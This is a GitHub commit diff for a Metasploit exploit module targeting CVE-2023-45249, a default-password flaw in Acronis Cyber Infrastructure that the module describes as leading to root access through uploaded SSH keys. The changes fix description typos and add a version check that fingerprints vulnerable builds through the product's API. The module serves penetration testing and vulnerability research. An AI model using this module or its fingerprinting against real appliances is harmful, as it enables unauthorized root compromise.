Skip to content

Commit 455c5b2

Browse files
committed
second release module
1 parent 1ba05ac commit 455c5b2

File tree

1 file changed

+32
-14
lines changed

1 file changed

+32
-14
lines changed

modules/exploits/linux/http/acronis_cyber_infra_cve_2023_45249.rb

Lines changed: 32 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -25,11 +25,11 @@ def initialize(info = {})
2525
'Description' => %q{
2626
Acronis Cyber Infrastructure (ACI) is an IT infrastructure solution that provides storage,
2727
compute, and network resources. Businesses and Service Providers are using it for data storage,
28-
backup storage, creating and managing virtual machines and software-defined networks,running
28+
backup storage, creating and managing virtual machines and software-defined networks, running
2929
cloud-native applications in production environments.
3030
This module exploits a default password vulnerability in ACI which allow an attacker to access
31-
the ACI PostgreSQL database and gain administrative access to the ACI Admin Portal.
32-
This opens the door for the attacker to upload ssh keys that enables addministrative root acces
31+
the ACI PostgreSQL database and gain administrative access to the ACI Web Portal.
32+
This opens the door for the attacker to upload ssh keys that enables root acces
3333
to the appliance/server. This attack can be remotely executed over the WAN as long as the
3434
PostgreSQL and SSH services are exposed to the outside world.
3535
ACI versions 5.0 before build 5.0.1-61, 5.1 before build 5.1.1-71, 5.2 before build 5.2.1-69,
@@ -236,21 +236,39 @@ def execute_command(cmd, _opts = {})
236236
@timeout = true
237237
end
238238

239-
def check_port(port)
240-
# checks network port and return true if open and false if closed.
241-
Timeout.timeout(datastore['ConnectTimeout']) do
242-
TCPSocket.new(datastore['RHOST'], port).close
243-
return true
244-
rescue StandardError
245-
return false
239+
def get_aci_version
240+
# Return ACI version-release or nil if not found
241+
version_release = nil
242+
res = send_request_cgi({
243+
'method' => 'GET',
244+
'ctype' => 'application/json',
245+
'headers' => {
246+
'X-Requested-With' => 'XMLHttpRequest'
247+
},
248+
'uri' => normalize_uri(target_uri.path, 'api', 'v2', 'about')
249+
})
250+
if res&.code == 200 && res.body.include?('storage-release')
251+
# parse json response and get the version
252+
res_json = res.get_json_document
253+
unless res_json.blank?
254+
version = res_json['storage-release']['version']
255+
release = res_json['storage-release']['release']
256+
version_release = Rex::Version.new("#{version}-#{release}".gsub(/[[:space:]]/, '')) unless version.nil? || release.nil?
257+
end
258+
return version_release
246259
end
247-
rescue Timeout::Error
248-
return false
249260
end
250261

251262
def check
252-
# TODO: Improve check
253-
CheckCode::Appears
263+
version_release = get_aci_version
264+
return CheckCode::Unknown('Could not retrieve the version information.') if version_release.nil?
265+
return CheckCode::Safe("Version #{version_release}") if version_release >= Rex::Version.new('5.0.1-61')
266+
return CheckCode::Safe("Version #{version_release}") if version_release >= Rex::Version.new('5.1.1-71')
267+
return CheckCode::Safe("Version #{version_release}") if version_release >= Rex::Version.new('5.2.1-69')
268+
return CheckCode::Safe("Version #{version_release}") if version_release >= Rex::Version.new('5.3.1-53')
269+
return CheckCode::Safe("Version #{version_release}") if version_release >= Rex::Version.new('5.4.4-132')
270+
271+
CheckCode::Appears("Version #{version_release}")
254272
end
255273

256274
def exploit

0 commit comments

Comments
 (0)